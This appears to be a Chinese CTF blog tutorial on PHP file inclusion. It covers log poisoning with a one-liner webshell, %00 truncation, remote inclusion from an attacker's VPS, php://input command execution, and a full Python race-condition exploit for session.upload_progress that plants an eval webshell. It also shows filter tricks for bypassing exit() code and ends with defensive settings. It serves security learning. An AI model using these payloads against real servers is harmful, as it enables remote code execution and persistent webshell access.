目录

  1. 1. 文件包含
    1. 1.1. 思路
    2. 1.2. 相关函数
    3. 1.3. 直接读取
    4. 1.4. php伪协议
    5. 1.5. Apache日志文件
    6. 1.6. nginx日志文件
    7. 1.7. 本地文件包含漏洞(LFI)
      1. 1.7.1. 日志文件包含
      2. 1.7.2. %00截断攻击
    8. 1.8. 远程文件包含漏洞(RFI)
    9. 1.9. Session文件包含
      1. 1.9.1. session工作流程
      2. 1.9.2. 利用
      3. 1.9.3. session.upload_progress
      4. 1.9.4. session条件竞争
    10. 1.10. 绕过死亡代码
    11. 1.11. 防御

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

文件包含总结

2023/3/15 Web 文件包含 PHP
  |     |   总文章阅读量:

文件包含

思路

  1. 看服务器类型
  2. 测试是否能够直接读取
  3. 根据过滤找出可用的伪协议
  4. 观察代码,寻找可利用的函数
  5. 伪协议不可用尝试使用日志包含
  6. 过滤后缀尝试使用session文件包含

相关函数

include():包含一个文件,如错误则抛出警告

include_once():包含一个文件仅一次,和上面类似

require():包含一个文件,如错误则报错并停止脚本

require_once():包含一个文件仅一次,和上面类似

注:任何类型的文件,只要其中含有合法PHP代码,PHP就可以包含并执行;如果没有,就会以纯文本形式显示文件中的内容


直接读取

测试直接读取有无回显

/etc/passwd
是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作

/var/www/html+文件名

或者利用../相对路径进行目录穿越读取特定文件


php伪协议

有时候包含的文件直接读取会产生报错,就需要采用伪协议进行内容读取


Apache日志文件

  • access.log

    记录网站的访问信息,包括user-agent头的信息,

    客户端IP - - [访问时间] "请求记录" HTTP状态码 字节数

  • error.log

    记录错误的访问信息

注:每次的日志会记录,所以,上传命令之后,如果产生报错或者不执行的情况必须重启容器。 再就是可能会有人问为什么发送第二次包的时候才会出现flag。这是因为发送第一个包的时候,将一句话木马写入access.log日志,第二次发包才包含到前一次的日志中的木马。


nginx日志文件

位置:/var/log/nginx/access.log

格式为

log_format access '$remote_addr$remote_user [$time_local] "$request"' '$status $body_bytes_sent "$http_referer"' '"$http_user_agent" $http_x_forwarded_for';

本地文件包含漏洞(LFI)

<?php
    include($_GET["a"]);

日志文件包含

原理:对网站进行访问时,日志文件会记录相关信息(请求头中的信息),而且一旦写入php一句话木马就可以被包含执行

前提:知道日志文件所在,并能进行包含

ctfshow web150

image-20230718120031429

  • 使用BurpSuite发送请求,在UA头写入一句话木马

    然后就可以include到当前php文件中,实现命令执行,把PHP一句话写进access.log里

  • ../返回上级目录,可以读取上级目录的access.log文件

注:如果不知道日志文件的地址,可以把参数设置成一个不存在的文件名,比如?jumpTo=114514,这样网页会报错显示网站的绝对路径 (如果没有屏蔽报错),使用了各种面板的会显示面板的错误信息,可以以此来判断日志路径。


%00截断攻击

PHP < 5.3.4

场景:对传入的参数使用字符串拼接

<?php
    include($_GET['a']."txt")
  • 在ASCII字符集中,%00代表的是字符串的结束,也就是说,如果在一串字符的中间插入%00,那么后面的字符串会被丢弃。如果把参数值改为shell.jpg%00,那么之后拼接的字符串将被include方法所丢弃。这样就能成功访问一句话木马。

远程文件包含漏洞(RFI)

本质是使用PHP伪协议进行包含

题目的代码类似于

<?php
       $filename = $_GET['page'];
       include($filename);
?>

由此可以远程包含自己服务器上的一句话木马并执行

  • 无限制:参数之后加上危险脚本的URL,一般把如一句话木马的php脚本放在自己的vps上进行远程包含

  • 有限制时截断:

    • 使用?绕过,问号之后的字符串会被当做查询参数丢弃
    • 使用%20绕过
  • 伪协议php://input控制输出流:(BurpSuite)

    GET /file_include/index.php?jumpTo=php://input HTTP/1.1
    Host: 127.0.0.1
    ......
    Sec-Fetch-User: ?1
    
    <?php system("ipconfig/all"); ?>
    

    此时把显示主机IP地址信息的命令“输入”到了PHP中


Session文件包含

php中唯一能无后缀控制,通过向session传入恶意代码并访问其文件实现

session工作流程

Session一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制

  1. 首先使用session_start()函数进行初始化
  2. 当执行PHP脚本时,通过使用SESSION超全局变量注册session变量即$_SESSION
  3. 当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的session.savepath指定,下次浏览网页时可以加载使用
  • session_start()

    (1)读取名为PHPSESSID(如果没有改变默认值)的cookie值,假使为abc123。

    (2)若读取到PHPSESSID这个COOKIE,创建SESSION变量,并从相应的目录中(可以在php.ini中设置)读取SESSabc123(默认是这种命名方式)文件,将字符装入SESSION变量中;

    (3)若没有读取到PHPSESSID这个COOKIE,也会创建SESSION超全局变量注册session变量。同时创建一个 sess_abc123 (名称为随机值)的session文件,同时将abc123作为PHPSESSID的cookie值返回给浏览器端。

image-20240422194656765

利用

$_SESSION["username"]=参数

当Session文件的内容可控,并且可以获取Session文件的路径,就可以通过包含Session文件进行攻击

Session的存储位置获取:

  1. 通过phpinfo的信息可以获取到Session的存储位置。phpinfo中的session.save_path存储的是Session的存放位置
  2. 通过猜测默认的Session存放位置进行尝试。通常Linux下Session默认存储在/var/lib/php/session目录下

session.upload_progress

条件:Session Support: enable

当我们将session.upload_progress.enabled的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。

  • session.auto_start:如果 session.auto_start=On ,则PHP在接收请求的时候会自动初始化 Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。

    但session还有一个默认选项,session.use_strict_mode默认值为 off。此时用户是可以自己定义 Session ID 的。

    比如,我们在 Cookie 里设置 PHPSESSID=a ,PHP 将会在服务器上创建一个文件:/tmp/sess_a。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值由ini.get(“session.upload_progress.prefix”)+由我们构造的 session.upload_progress.name值组成,最后被写入 sess_ 文件里。

  • session.save_path:负责 session 文件的存放位置,后面文件包含的时候需要知道恶意文件的位置,如果没有配置则不会生成session文件

  • session.upload_progress_enabled:当这个配置为 On 时,代表 session.upload_progress 功能开启,如果这个选项关闭,则这个方法用不了

  • session.upload_progress_cleanup:这个选项默认也是 On,也就是说当文件上传结束时,session 文件中有关上传进度的信息立马就会被删除掉;这里就给我们的操作造成了很大的困难,我们就只能使用条件竞争的方式不停的发包,争取在它被删除掉之前就成功利用

  • session.upload_progress_name:session中的键值,当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控

  • session.upload_progress_prefix:可以设置上传文件内容的前缀,与session.upload_progress_name 将表示为 session 中的键名

session条件竞争

by ph0ebus

  • 目标环境开启了session.upload_progress.enable选项

  • 发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段

  • 请求的Cookie中包含Session ID

  • 注意的是,如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。

exp:

import requests
import io
import threading

url = 'http://6f7113f0-473f-406d-90a6-0cdbbdfacb48.challenge.ctf.show/'    # 改成自己的url
sessionid = 'truthahn'      # 设置PHPSESSID为truthahn,使生成的临时文件名为sess_truthahn
cookies = {
            'PHPSESSID':sessionid
        }

def write(session):		# write()函数用于写入session临时文件
    fileBytes = io.BytesIO(b'a'*1024*50)    # 设置上传文件的大小为50k
    data2 = {
        'PHP_SESSION_UPLOAD_PROGRESS':'<?=eval($_POST[1])?>'    # 设置sess_truthahn临时文件的内容为<?=eval($_POST[1])?> 实现一句话
    }
    files = {
        'file':('truthahn.jpg',fileBytes)
    }
    while True:    
        res = session.post(url,data=data2,cookies=cookies,files=files)
        # print(res.text)
        #print('======= write done! ======')

def read(session): 		# read()函数利用session临时文件生成一句话木马,实现rce
    data1 = {
        "1":"file_put_contents('/var/www/html/3.php','<?=eval($_POST[2]);?>');"     # 使用file_put_contents()php内置函数生成名为3.php的shell文件
    }
    while True:
        res = session.post(url+'?file=/tmp/sess_'+sessionid,data=data1,cookies=cookies)
        # print(res.text)
        res2 = session.get(url+'3.php')
        # print(res2.text)
        if res2.status_code == 200:     #若3.php成功生成,则返回Done!,否则返回失败的状态码
            print('++++++++ Done! +++++++++')
        else:
            print(res2.status_code)

if __name__ == '__main__':

    event = threading.Event()       
    with requests.session() as session:     # 为每个函数设置5个线程并发执行
        for i in range(5):
            #print('*'*50)
            threading.Thread(target=write,args=(session,)).start()
        for i in range(5):
            #print('='*50)
            threading.Thread(target=read,args=(session,)).start()

    event.set()

绕过死亡代码

原型

1. file_put_contents($filename,"<?php exit();".$content);

2. file_put_contents($content,"<?php exit();".$content);

3. file_put_contents($filename,$content . "\nxxxxxx");
    • base64编码绕过

      利用base64解码,将死亡代码解码成乱码,使得php引擎无法识别

    $filename='php://filter/write=convert.base64-decode/resource=1.php';
    $content = 'aPD9waHAgcGhwaW5mbygpOz8+';
    
    $content加了一个a,是因为base64在解码的时候是将4个字节转化为3个字节,又因为死亡代码只有phpexit/phpdie参与了解码,所以补上一位就可以完全转化
    • rot13编码绕过

      原理和base64一样,可以直接转码分解死亡代码

    注:因为我们生成的文件内容之中前面的<?并没有分解掉,这时,如果服务器开启了短标签,那么就会被解析,所以所以后面的代码就会错误;也就失去了作用

    • .htaccess的预包含利用

      利用 .htaccess的预包含文件的功能来进行攻破;自定义包含我们的flag文件

    $filename=php://filter/write=string.strip_tags/resource=.htaccess
    
    $content=?>php_value%20auto_prepend_file%20G:\s1mple.php
        
    首先来解释$filename的代码,这里引用了string.strip_tags过滤器,可以过滤.htaccess内容的html标签,自然也就消除了死亡代码;$content即闭合死亡代码使其完全消除,并且写入自定义包含文件

    但是这种方法也是具有一定的局限性,首先我们需要知道flag文件的位置,和文件的名字,一般的比赛中可以盲猜 flag.php flag /flag /flag.php 等等;另外还有个很大的问题是,string.strip_tags过滤器只是可以在php5的环境下顺利的使用,如果题目环境是在php7.3.0以上的环境下,则会发生段错误。导致写不进去;根本来说是php7.3.0中废弃了string.strip_tags这个过滤器


防御

  • 调整php.ini中的不合理配置

    • magic_quotes_gpc=On,将参数中的异常字符进行转义。
    • allow_url_include=Off,禁止将URL作为文件打开处理。
    • allow_url_fopen=Off,禁止include()require()打开URL作为文件处理
  • 过滤异常字符

    检查参数,如果参数中含有%#;等不需要的字符,将其去掉或者拒绝请求

  • 更改Apache日志路径

  • 写死包含的路径或文件名

    <?php
        header("Content-type:text/html;charset=utf-8");
        error_reporting(E_ERROR); 
        ini_set("display_errors","Off");
        $link=$_GET['jumpTo'];
        if (isset($link)) {
            switch ($link) {
                case 'job':
                    include('./jobs.php');
                    break;
                case 'hobby':
                    include('./hobby.php');
                    break;
                default:
                    die("风雪的缩影,如琉璃般飘落......");
                    break;
            }
        } else {
        	// Do nothing.    
        }
    ?>
    
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>王小美の主页</title>
    </head>
    <body>
        <h1 style="text-align: center;">个人主页</h1>
        <br>
        <img src="./img/ganyu.png">
        <br>
        <p>Name: 甘雨</p><br>
        <p>Age: 3000+</p><br>
        <p>我是女生</p><br>
        <a href="./index.php?jumpTo=job">我的工作</a>&nbsp;&nbsp;<a href="./index.php?jumpTo=hobby">我的兴趣爱好</a>
    </body>
    </html>